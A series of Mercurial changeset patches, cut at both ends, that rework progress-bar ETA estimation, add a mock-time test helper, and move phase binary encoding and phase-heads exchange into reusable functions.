+  loop [===============>                        ]  8/20 4m01s\r (no-eol) (esc)
+  loop [================>                      ]  9/20 13m27s\r (no-eol) (esc)
+  loop [==================>                    ] 10/20 19m21s\r (no-eol) (esc)
+  loop [====================>                  ] 11/20 22m39s\r (no-eol) (esc)
+  loop [======================>                ] 12/20 24m01s\r (no-eol) (esc)
+  loop [========================>              ] 13/20 23m53s\r (no-eol) (esc)
+  loop [==========================>            ] 14/20 19m09s\r (no-eol) (esc)
+  loop [============================>          ] 15/20 15m01s\r (no-eol) (esc)
+  loop [==============================>        ] 16/20 11m21s\r (no-eol) (esc)
+  loop [=================================>      ] 17/20 8m04s\r (no-eol) (esc)
+  loop [===================================>    ] 18/20 5m07s\r (no-eol) (esc)
+  loop [=====================================>  ] 19/20 2m27s\r (no-eol) (esc)
+                                                              \r (no-eol) (esc)
+
 Time estimates should not fail when there's no end point:
   $ hg -y loop -- -4
   \r (no-eol) (esc)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506547858 25200
#      Wed Sep 27 14:30:58 2017 -0700
# Node ID f428c347d32b2f110856c6fb7fec00a5f4cc0c0d
# Parent  d64c2c050b54794ba117d622df729679b928039f
progress: remove progress.estimate config

It was introduced by 98e4d39 ("progress: add speed format" 2011-5-9) and was
intended to hide ETA information for the first few seconds.

Later 5d261fd ("progress: add a changedelay to prevent parallel topics from
flapping (issue2698)" 2011-6-23) introduced `changedelay` config which hides
the entire progress bar for the first few seconds. So `progress.estimate` seems
somehow duplicated feature-wise. Since it's experimental and duplicated, let's
just remove it. This makes the next patch simpler - it no longer needs to make
sure `starttimes` is the real start time.

Differential Revision: https://phab.mercurial-scm.org/D828

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -359,9 +359,6 @@
 coreconfigitem('progress', 'disable',
     default=False,
 )
-coreconfigitem('progress', 'estimate',
-    default=2,
-)
 coreconfigitem('progress', 'refresh',
     default=0.1,
 )
diff --git a/mercurial/progress.py b/mercurial/progress.py
--- a/mercurial/progress.py
+++ b/mercurial/progress.py
@@ -215,19 +215,15 @@
         delta = pos - initialpos
         if delta > 0:
             elapsed = now - self.starttimes[topic]
-            # experimental config: progress.estimate
-            if elapsed > float(
-                self.ui.config('progress', 'estimate')):
-                seconds = (elapsed * (target - delta)) // delta + 1
-                return fmtremaining(seconds)
+            seconds = (elapsed * (target - delta)) // delta + 1
+            return fmtremaining(seconds)
         return ''
 
     def speed(self, topic, pos, unit, now):
         initialpos = self.startvals[topic]
         delta = pos - initialpos
         elapsed = now - self.starttimes[topic]
-        if elapsed > float(
-            self.ui.config('progress', 'estimate')):
+        if elapsed > 0:
             return _('%d %s/sec') % (delta / elapsed, unit)
         return ''
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506550499 25200
#      Wed Sep 27 15:14:59 2017 -0700
# Node ID a667f0ca1d5fa8b80006fc4030ded936b47d3e83
# Parent  f428c347d32b2f110856c6fb7fec00a5f4cc0c0d
progress: make ETA only consider progress made in the last minute

This patch limits the estimate time interval to roughly the last minute
(configurable by `estimateinterval`) to be more practical. See the test
change for why this is better.

.. feature:: Estimated time is more accurate with non-linear progress

Differential Revision: https://phab.mercurial-scm.org/D820

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -359,6 +359,9 @@
 coreconfigitem('progress', 'disable',
     default=False,
 )
+coreconfigitem('progress', 'estimateinterval',
+    default=60.0,
+)
 coreconfigitem('progress', 'refresh',
     default=0.1,
 )
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -1613,6 +1613,10 @@
     Minimum delay before showing a new topic. When set to less than 3 * refresh,
     that value will be used instead. (default: 1)
 
+``estimateinterval``
+    Maximum sampling interval in seconds for speed and estimated time
+    calculation. (default: 60)
+
 ``refresh``
     Time in seconds between refreshes of the progress bar. (default: 0.1)
 
diff --git a/mercurial/progress.py b/mercurial/progress.py
--- a/mercurial/progress.py
+++ b/mercurial/progress.py
@@ -104,6 +104,8 @@
         self.order = self.ui.configlist(
             'progress', 'format',
             default=['topic', 'bar', 'number', 'estimate'])
+        self.estimateinterval = self.ui.configwith(
+            float, 'progress', 'estimateinterval')
 
     def show(self, now, topic, pos, item, unit, total):
         if not shouldprint(self.ui):
@@ -238,6 +240,32 @@
         else:
             return False
 
+    def _calibrateestimate(self, topic, now, pos):
+        '''Adjust starttimes and startvals for topic so ETA works better
+
+        If progress is non-linear (ex. get much slower in the last minute),
+        it's more friendly to only use a recent time span for ETA and speed
+        calculation.
+
+            [======================================>       ]
+                                             ^^^^^^^
+                           estimateinterval, only use this for estimation
+        '''
+        interval = self.estimateinterval
+        if interval <= 0:
+            return
+        elapsed = now - self.starttimes[topic]
+        if elapsed > interval:
+            delta = pos - self.startvals[topic]
+            newdelta = delta * interval / elapsed
+            # If a stall happens temporarily, ETA could change dramatically
+            # frequently. This is to avoid such dramatical change and make ETA
+            # smoother.
+            if newdelta < 0.1:
+                return
+            self.startvals[topic] = pos - newdelta
+            self.starttimes[topic] = now - interval
+
     def progress(self, topic, pos, item='', unit='', total=None):
         now = time.time()
         self._refreshlock.acquire()
@@ -268,6 +296,7 @@
                     self.topics.append(topic)
                 self.topicstates[topic] = pos, item, unit, total
                 self.curtopic = topic
+                self._calibrateestimate(topic, now, pos)
                 if now - self.lastprint >= self.refresh and self.topics:
                     if self._oktoprint(now):
                         self.lastprint = now
diff --git a/tests/test-progress.t b/tests/test-progress.t
--- a/tests/test-progress.t
+++ b/tests/test-progress.t
@@ -260,17 +260,17 @@
   loop [===========>                            ]  6/20 4m41s\r (no-eol) (esc)
   loop [=============>                          ]  7/20 4m21s\r (no-eol) (esc)
   loop [===============>                        ]  8/20 4m01s\r (no-eol) (esc)
-  loop [================>                      ]  9/20 13m27s\r (no-eol) (esc)
-  loop [==================>                    ] 10/20 19m21s\r (no-eol) (esc)
-  loop [====================>                  ] 11/20 22m39s\r (no-eol) (esc)
-  loop [======================>                ] 12/20 24m01s\r (no-eol) (esc)
-  loop [========================>              ] 13/20 23m53s\r (no-eol) (esc)
-  loop [==========================>            ] 14/20 19m09s\r (no-eol) (esc)
-  loop [============================>          ] 15/20 15m01s\r (no-eol) (esc)
-  loop [==============================>        ] 16/20 11m21s\r (no-eol) (esc)
-  loop [=================================>      ] 17/20 8m04s\r (no-eol) (esc)
-  loop [===================================>    ] 18/20 5m07s\r (no-eol) (esc)
-  loop [=====================================>  ] 19/20 2m27s\r (no-eol) (esc)
+  loop [================>                      ]  9/20 25m40s\r (no-eol) (esc)
+  loop [===================>                    ] 10/20 1h06m\r (no-eol) (esc)
+  loop [=====================>                  ] 11/20 1h13m\r (no-eol) (esc)
+  loop [=======================>                ] 12/20 1h07m\r (no-eol) (esc)
+  loop [========================>              ] 13/20 58m19s\r (no-eol) (esc)
+  loop [===========================>            ] 14/20 7m09s\r (no-eol) (esc)
+  loop [=============================>          ] 15/20 3m38s\r (no-eol) (esc)
+  loop [===============================>        ] 16/20 2m15s\r (no-eol) (esc)
+  loop [=================================>      ] 17/20 1m27s\r (no-eol) (esc)
+  loop [====================================>     ] 18/20 52s\r (no-eol) (esc)
+  loop [======================================>   ] 19/20 25s\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
 
 Time estimates should not fail when there's no end point:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506620273 25200
#      Thu Sep 28 10:37:53 2017 -0700
# Node ID 98b35921691504a4eaad97c1efac75ad3493d9d2
# Parent  a667f0ca1d5fa8b80006fc4030ded936b47d3e83
test-patchbomb: fix the test

With the experimental config `progress.estimate` removed, the progress
output in `test-patchbomb.t` has a minor change: it shows ETA since the
beginning.

(This could be folded into f428c3)

diff --git a/tests/test-patchbomb.t b/tests/test-patchbomb.t
--- a/tests/test-patchbomb.t
+++ b/tests/test-patchbomb.t
@@ -333,10 +333,10 @@
   sending [                                             ] 0/3\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
   \r (no-eol) (esc)
-  sending [==============>                              ] 1/3\r (no-eol) (esc)
+  sending [============>                            ] 1/3 01s\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
   \r (no-eol) (esc)
-  sending [=============================>               ] 2/3\r (no-eol) (esc)
+  sending [==========================>              ] 2/3 01s\r (no-eol) (esc)
                                                               \r (esc)
   sending [PATCH 0 of 2] test ...
   sending [PATCH 1 of 2] a ...
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506710484 25200
#      Fri Sep 29 11:41:24 2017 -0700
# Node ID 12b355964de8db35ad0a7c28c86d71fd225a8b9b
# Parent  98b35921691504a4eaad97c1efac75ad3493d9d2
test-patchbomb: use mocktime

The test was using system time for displaying ETAs, which could be flaky if
the sysload is high. This patch extracts mocktime.py from test-progress.t to
make sure test-patchbomb.t is unaffected by system time.

Differential Revision: https://phab.mercurial-scm.org/D844

diff --git a/tests/mocktime.py b/tests/mocktime.py
new file mode 100644
--- /dev/null
+++ b/tests/mocktime.py
@@ -0,0 +1,18 @@
+from __future__ import absolute_import
+
+import os
+import time
+
+class mocktime(object):
+    def __init__(self, increment):
+        self.time = 0
+        self.increment = [float(s) for s in increment.split()]
+        self.pos = 0
+
+    def __call__(self):
+        self.time += self.increment[self.pos % len(self.increment)]
+        self.pos += 1
+        return self.time
+
+def uisetup(ui):
+    time.time = mocktime(os.environ.get('MOCKTIME', '0.1'))
diff --git a/tests/test-patchbomb.t b/tests/test-patchbomb.t
--- a/tests/test-patchbomb.t
+++ b/tests/test-patchbomb.t
@@ -323,7 +323,8 @@
   $ hg email -m test.mbox -f quux -t foo -c bar -s test 0:tip \
   > --config extensions.progress= --config progress.assume-tty=1 \
   > --config progress.delay=0 --config progress.refresh=0 \
-  > --config progress.width=60
+  > --config progress.width=60 \
+  > --config extensions.mocktime=$TESTDIR/mocktime.py
   this patch series consists of 2 patches.
   
   
diff --git a/tests/test-progress.t b/tests/test-progress.t
--- a/tests/test-progress.t
+++ b/tests/test-progress.t
@@ -185,27 +185,9 @@
 
 #if no-chg
 
-  $ cat > mocktime.py <<EOF
-  > import os
-  > import time
-  > 
-  > class mocktime(object):
-  >     def __init__(self, increment):
-  >         self.time = 0
-  >         self.increment = [int(s) for s in increment.split()]
-  >         self.pos = 0
-  >     def __call__(self):
-  >         self.time += self.increment[self.pos % len(self.increment)]
-  >         self.pos += 1
-  >         return self.time
-  > 
-  > def uisetup(ui):
-  >     time.time = mocktime(os.environ.get('MOCKTIME', '11'))
-  > EOF
-
   $ cp $HGRCPATH.orig $HGRCPATH
   $ echo "[extensions]" >> $HGRCPATH
-  $ echo "mocktime=`pwd`/mocktime.py" >> $HGRCPATH
+  $ echo "mocktime=$TESTDIR/mocktime.py" >> $HGRCPATH
   $ echo "progress=" >> $HGRCPATH
   $ echo "loop=`pwd`/loop.py" >> $HGRCPATH
   $ echo "[progress]" >> $HGRCPATH
@@ -213,7 +195,7 @@
   $ echo "delay=25" >> $HGRCPATH
   $ echo "width=60" >> $HGRCPATH
 
-  $ hg -y loop 8
+  $ MOCKTIME=11 hg -y loop 8
   \r (no-eol) (esc)
   loop [=========>                                ] 2/8 1m07s\r (no-eol) (esc)
   loop [===============>                            ] 3/8 56s\r (no-eol) (esc)
@@ -274,7 +256,7 @@
                                                               \r (no-eol) (esc)
 
 Time estimates should not fail when there's no end point:
-  $ hg -y loop -- -4
+  $ MOCKTIME=11 hg -y loop -- -4
   \r (no-eol) (esc)
   loop [ <=>                                              ] 2\r (no-eol) (esc)
   loop [  <=>                                             ] 3\r (no-eol) (esc)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505879253 -7200
#      Wed Sep 20 05:47:33 2017 +0200
# Node ID e45ec589f9621a7518b8657db2f0406409cbbbad
# Parent  12b355964de8db35ad0a7c28c86d71fd225a8b9b
discovery: avoid dropping remote heads hidden locally

An extra post processing was added to recognize remote heads that are hidden
locally as "common" instead of "unknown". However, this processing was
removing such hidden heads from the remote heads sets.

It had no impact because we used to pull phase information from all remote
heads.

This series will replace the phase pulling operation to a more efficient
process but requires the unmodified pulled set information.

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1313,8 +1313,7 @@
     common, fetch, rheads = tmp
     nm = pullop.repo.unfiltered().changelog.nodemap
     if fetch and rheads:
-        # If a remote heads in filtered locally, lets drop it from the unknown
-        # remote heads and put in back in common.
+        # If a remote heads is filtered locally, put in back in common.
         #
         # This is a hackish solution to catch most of "common but locally
         # hidden situation".  We do not performs discovery on unfiltered
@@ -1324,16 +1323,12 @@
         # If a set of such "common but filtered" changeset exist on the server
         # but are not including a remote heads, we'll not be able to detect it,
         scommon = set(common)
-        filteredrheads = []
         for n in rheads:
             if n in nm:
                 if n not in scommon:
                     common.append(n)
-            else:
-                filteredrheads.append(n)
-        if not filteredrheads:
+        if set(rheads).issubset(set(common)):
             fetch = []
-        rheads = filteredrheads
     pullop.common = common
     pullop.fetch = fetch
     pullop.rheads = rheads
diff --git a/tests/test-treediscovery.t b/tests/test-treediscovery.t
--- a/tests/test-treediscovery.t
+++ b/tests/test-treediscovery.t
@@ -520,7 +520,7 @@
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=branches HTTP/1.1" 200 - x-hgarg-1:nodes=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=between HTTP/1.1" 200 - x-hgarg-1:pairs=d8f638ac69e9ae8dea4f09f11d696546a912d961-d57206cc072a18317c1e381fb60aa31bd3401785 x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
-  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
+  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961+2c8d5d5ec612be65cdfdeac78b7662ab1696324a x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=listkeys HTTP/1.1" 200 - x-hgarg-1:namespace=phases x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zstd,zlib,none,bzip2
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505851689 -7200
#      Tue Sep 19 22:08:09 2017 +0200
# Node ID 4fbbdd9b04f1f80dfb8c63b45f4edaf8432a545d
# Parent  e45ec589f9621a7518b8657db2f0406409cbbbad
phases: use a Struct object for binary encoding and decoding

We will move the binary encoding and decoding code to 'phases.py' in order to
make it easier to reuse. First, let's cleanup it a bit.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -179,7 +179,7 @@
 _fpayloadsize = '>i'
 _fpartparamcount = '>BB'
 
-_fphasesentry = '>i20s'
+_fphasesentry = struct.Struct('>i20s')
 
 preferedchunksize = 4096
 
@@ -1483,7 +1483,7 @@
         phasedata = []
         for phase in phases.allphases:
             for head in headsbyphase[phase]:
-                phasedata.append(_pack(_fphasesentry, phase, head))
+                phasedata.append(_fphasesentry.pack(phase, head))
         bundler.newpart('phase-heads', data=''.join(phasedata))
 
 def addparttagsfnodescache(repo, bundler, outgoing):
@@ -1843,14 +1843,14 @@
 
 def _readphaseheads(inpart):
     headsbyphase = [[] for i in phases.allphases]
-    entrysize = struct.calcsize(_fphasesentry)
+    entrysize = _fphasesentry.size
     while True:
         entry = inpart.read(entrysize)
         if len(entry) < entrysize:
             if entry:
                 raise error.Abort(_('bad phase-heads bundle part'))
             break
-        phase, node = struct.unpack(_fphasesentry, entry)
+        phase, node = _fphasesentry.unpack(entry)
         headsbyphase[phase].append(node)
     return headsbyphase
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505851291 -7200
#      Tue Sep 19 22:01:31 2017 +0200
# Node ID 5779d096a696ba289730e74a595eec1c21df3da8
# Parent  4fbbdd9b04f1f80dfb8c63b45f4edaf8432a545d
phases: move binary encoding into a reusable function

We want to use binary phases for pushing and pulling. We extract the encoding
function out of the bundle2 module first.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -179,8 +179,6 @@
 _fpayloadsize = '>i'
 _fpartparamcount = '>BB'
 
-_fphasesentry = struct.Struct('>i20s')
-
 preferedchunksize = 4096
 
 _parttypeforbidden = re.compile('[^a-zA-Z0-9_:-]')
@@ -1480,11 +1478,8 @@
 
     if opts.get('phases', False):
         headsbyphase = phases.subsetphaseheads(repo, outgoing.missing)
-        phasedata = []
-        for phase in phases.allphases:
-            for head in headsbyphase[phase]:
-                phasedata.append(_fphasesentry.pack(phase, head))
-        bundler.newpart('phase-heads', data=''.join(phasedata))
+        phasedata = phases.binaryencode(headsbyphase)
+        bundler.newpart('phase-heads', data=phasedata)
 
 def addparttagsfnodescache(repo, bundler, outgoing):
     # we include the tags fnode cache for the bundle changeset
@@ -1843,14 +1838,14 @@
 
 def _readphaseheads(inpart):
     headsbyphase = [[] for i in phases.allphases]
-    entrysize = _fphasesentry.size
+    entrysize = phases._fphasesentry.size
     while True:
         entry = inpart.read(entrysize)
         if len(entry) < entrysize:
             if entry:
                 raise error.Abort(_('bad phase-heads bundle part'))
             break
-        phase, node = _fphasesentry.unpack(entry)
+        phase, node = phases._fphasesentry.unpack(entry)
         headsbyphase[phase].append(node)
     return headsbyphase
 
diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -103,6 +103,7 @@
 from __future__ import absolute_import
 
 import errno
+import struct
 
 from .i18n import _
 from .node import (
@@ -119,6 +120,8 @@
     util,
 )
 
+_fphasesentry = struct.Struct('>i20s')
+
 allphases = public, draft, secret = range(3)
 trackedphases = allphases[1:]
 phasenames = ['public', 'draft', 'secret']
@@ -154,6 +157,18 @@
         dirty = True
     return roots, dirty
 
+def binaryencode(phasemapping):
+    """encode a 'phase -> nodes' mapping into a binary stream
+
+    Since phases are integer the mapping is actually a python list:
+    [[PUBLIC_HEADS], [DRAFTS_HEADS], [SECRET_HEADS]]
+    """
+    binarydata = []
+    for phase, nodes in enumerate(phasemapping):
+        for head in nodes:
+            binarydata.append(_fphasesentry.pack(phase, head))
+    return ''.join(binarydata)
+
 def _trackphasechange(data, rev, old, new):
     """add a phase move the <data> dictionnary
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505852621 -7200
#      Tue Sep 19 22:23:41 2017 +0200
# Node ID 12c42bcd4133475a2091987d76c3e4f99e9eb116
# Parent  5779d096a696ba289730e74a595eec1c21df3da8
phases: move the binary decoding function in the phases module

We move the decoding function near the encoding one in a place where they can
be reused in other place (current target, 'exchange.py').

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1836,23 +1836,10 @@
                 kwargs[key] = inpart.params[key]
         raise error.PushkeyFailed(partid=str(inpart.id), **kwargs)
 
-def _readphaseheads(inpart):
-    headsbyphase = [[] for i in phases.allphases]
-    entrysize = phases._fphasesentry.size
-    while True:
-        entry = inpart.read(entrysize)
-        if len(entry) < entrysize:
-            if entry:
-                raise error.Abort(_('bad phase-heads bundle part'))
-            break
-        phase, node = phases._fphasesentry.unpack(entry)
-        headsbyphase[phase].append(node)
-    return headsbyphase
-
 @parthandler('phase-heads')
 def handlephases(op, inpart):
     """apply phases from bundle part to repo"""
-    headsbyphase = _readphaseheads(inpart)
+    headsbyphase = phases.binarydecode(inpart)
     phases.updatephases(op.repo.unfiltered(), op.gettransaction(), headsbyphase)
     op.records.add('phase-heads', {})
 
diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -310,7 +310,7 @@
 def _debugphaseheads(ui, data, indent=0):
     """display version and markers contained in 'data'"""
     indent_string = ' ' * indent
-    headsbyphase = bundle2._readphaseheads(data)
+    headsbyphase = phases.binarydecode(data)
     for phase in phases.allphases:
         for head in headsbyphase[phase]:
             ui.write(indent_string)
diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -169,6 +169,22 @@
             binarydata.append(_fphasesentry.pack(phase, head))
     return ''.join(binarydata)
 
+def binarydecode(stream):
+    """decode a binary stream into a 'phase -> nodes' mapping
+
+    Since phases are integer the mapping is actually a python list."""
+    headsbyphase = [[] for i in allphases]
+    entrysize = _fphasesentry.size
+    while True:
+        entry = stream.read(entrysize)
+        if len(entry) < entrysize:
+            if entry:
+                raise error.Abort(_('bad phase-heads stream'))
+            break
+        phase, node = _fphasesentry.unpack(entry)
+        headsbyphase[phase].append(node)
+    return headsbyphase
+
 def _trackphasechange(data, rev, old, new):
     """add a phase move the <data> dictionnary
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505924950 -7200
#      Wed Sep 20 18:29:10 2017 +0200
# Node ID 4ef472b975ff651b875a417fe99683aaa08b8bb1
# Parent  12c42bcd4133475a2091987d76c3e4f99e9eb116
bundle2: only grab a transaction when 'phase-heads' affect the repository

The next patch will use the 'phase-heads' part to exchange phase data relevant to
the pulled set.

'handlephases' currently acquires a transaction even in case of no-op pull,
which would results in an empty transaction and messing with the existing
journal.

Pass the transaction fetcher to updatephases so it can fetch it if necessary.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1840,7 +1840,7 @@
 def handlephases(op, inpart):
     """apply phases from bundle part to repo"""
     headsbyphase = phases.binarydecode(inpart)
-    phases.updatephases(op.repo.unfiltered(), op.gettransaction(), headsbyphase)
+    phases.updatephases(op.repo.unfiltered(), op.gettransaction, headsbyphase)
     op.records.add('phase-heads', {})
 
 @parthandler('reply:pushkey', ('return', 'in-reply-to'))
diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -558,11 +558,18 @@
         headsbyphase[phase] = [cl.node(r) for r in repo.revs(revset, subset)]
     return headsbyphase
 
-def updatephases(repo, tr, headsbyphase):
+def updatephases(repo, trgetter, headsbyphase):
     """Updates the repo with the given phase heads"""
     # Now advance phase boundaries of all but secret phase
+    #
+    # run the update (and fetch transaction) only if there are actually things
+    # to update. This avoid creating empty transaction during no-op operation.
+
     for phase in allphases[:-1]:
-        advanceboundary(repo, tr, phase, headsbyphase[phase])
+        revset = '%%ln - %s()' % phasenames[phase]
+        heads = [c.node() for c in repo.set(revset, headsbyphase[phase])]
+        if heads:
+            advanceboundary(repo, trgetter(), phase, heads)
 
 def analyzeremotephases(repo, subset, roots):
     """Compute phases heads and root in a subset of node from root dict
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506281238 -7200
#      Sun Sep 24 21:27:18 2017 +0200
# Node ID 10e162bb9bf5b5597df7467e4b01e2fde62b24ee
# Parent  4ef472b975ff651b875a417fe99683aaa08b8bb1
pull: use 'phase-heads' to retrieve phase information

A new bundle2 capability 'phases' has been added. If 'heads' is part of the
supported value for 'phases', the server supports reading and sending 'phase-
heads' bundle2 part.

Server is now able to process a 'phases' boolean parameter to 'getbundle'. If
'True', a 'phase-heads' bundle2 part will be included in the bundle with phase
information relevant to the whole pulled set. If this method is available the
phases listkey namespace will no longer be listed.

Beside the more efficient encoding of the data, this new method will greatly
improve the phase exchange efficiency for repositories with non-served
changesets (obsolete, secret) since we'll no longer send data about the
filtered heads.

Add a new 'devel.legacy.exchange' config item to allow fallback to the old
'listkey in bundle2' method.

Reminder: the pulled set is not just the changesets bundled by the pull. It
also contains changeset selected by the "pull specification" on the client
side (eg: everything for bare pull). One of the reason why the 'pulled set' is
important is to make sure we can move -common- nodes to public.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1395,6 +1395,7 @@
                 'digests': tuple(sorted(util.DIGESTS.keys())),
                 'remote-changegroup': ('http', 'https'),
                 'hgtagsfnodes': (),
+                'phases': ('heads',),
                }
 
 def getrepocaps(repo, allowpushback=False):
@@ -1413,6 +1414,8 @@
     cpmode = repo.ui.config('server', 'concurrent-push-mode')
     if cpmode == 'check-related':
         caps['checkheads'] = ('related',)
+    if 'phases' in repo.ui.configlist('devel', 'legacy.exchange'):
+        caps.pop('phases')
     return caps
 
 def bundle2caps(remote):
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -7,6 +7,7 @@
 
 from __future__ import absolute_import
 
+import collections
 import errno
 import hashlib
 
@@ -1349,12 +1350,20 @@
     kwargs['common'] = pullop.common
     kwargs['heads'] = pullop.heads or pullop.rheads
     kwargs['cg'] = pullop.fetch
+
+    ui = pullop.repo.ui
+    legacyphase = 'phases' in ui.configlist('devel', 'legacy.exchange')
+    if (not legacyphase and 'heads' in pullop.remotebundle2caps.get('phases')):
+        kwargs['phases'] = True
+        pullop.stepsdone.add('phases')
+
     if 'listkeys' in pullop.remotebundle2caps:
-        kwargs['listkeys'] = ['phases']
+        if 'phases' not in pullop.stepsdone:
+            kwargs['listkeys'] = ['phases']
         if pullop.remotebookmarks is None:
             # make sure to always includes bookmark data when migrating
             # `hg incoming --bundle` to using this function.
-            kwargs['listkeys'].append('bookmarks')
+            kwargs.setdefault('listkeys', []).append('bookmarks')
 
     # If this is a full pull / clone and the server supports the clone bundles
     # feature, tell the server whether we attempted a clone bundle. The
@@ -1663,6 +1672,53 @@
         markers = sorted(markers)
         bundle2.buildobsmarkerspart(bundler, markers)
 
+@getbundle2partsgenerator('phases')
+def _getbundlephasespart(bundler, repo, source, bundlecaps=None,
+                            b2caps=None, heads=None, **kwargs):
+    """add phase heads part to the requested bundle"""
+    if kwargs.get('phases', False):
+        if not 'heads' in b2caps.get('phases'):
+            raise ValueError(_('no common phases exchange method'))
+        if heads is None:
+            heads = repo.heads()
+
+        headsbyphase = collections.defaultdict(set)
+        if repo.publishing():
+            headsbyphase[phases.public] = heads
+        else:
+            # find the appropriate heads to move
+
+            phase = repo._phasecache.phase
+            node = repo.changelog.node
+            rev = repo.changelog.rev
+            for h in heads:
+                headsbyphase[phase(repo, rev(h))].add(h)
+            seenphases = list(headsbyphase.keys())
+
+            # We do not handle anything but public and draft phase for now)
+            if seenphases:
+                assert max(seenphases) <= phases.draft
+
+            # if client is pulling non-public changesets, we need to find
+            # intermediate public heads.
+            draftheads = headsbyphase.get(phases.draft, set())
+            if draftheads:
+                publicheads = headsbyphase.get(phases.public, set())
+
+                revset = 'heads(only(%ln, %ln) and public())'
+                extraheads = repo.revs(revset, draftheads, publicheads)
+                for r in extraheads:
+                    headsbyphase[phases.public].add(node(r))
+
+        # transform data in a format used by the encoding function
+        phasemapping = []
+        for phase in phases.allphases:
+            phasemapping.append(sorted(headsbyphase[phase]))
+
+        # generate the actual part
+        phasedata = phases.binaryencode(phasemapping)
+        bundler.newpart('phase-heads', data=phasedata)
+
 @getbundle2partsgenerator('hgtagsfnodes')
 def _getbundletagsfnodes(bundler, repo, source, bundlecaps=None,
                          b2caps=None, heads=None, common=None,
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -207,6 +207,7 @@
 gboptsmap = {'heads':  'nodes',
              'common': 'nodes',
              'obsmarkers': 'boolean',
+             'phases': 'boolean',
              'bundlecaps': 'scsv',
              'listkeys': 'csv',
              'cg': 'boolean',
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -92,13 +92,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -154,13 +154,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
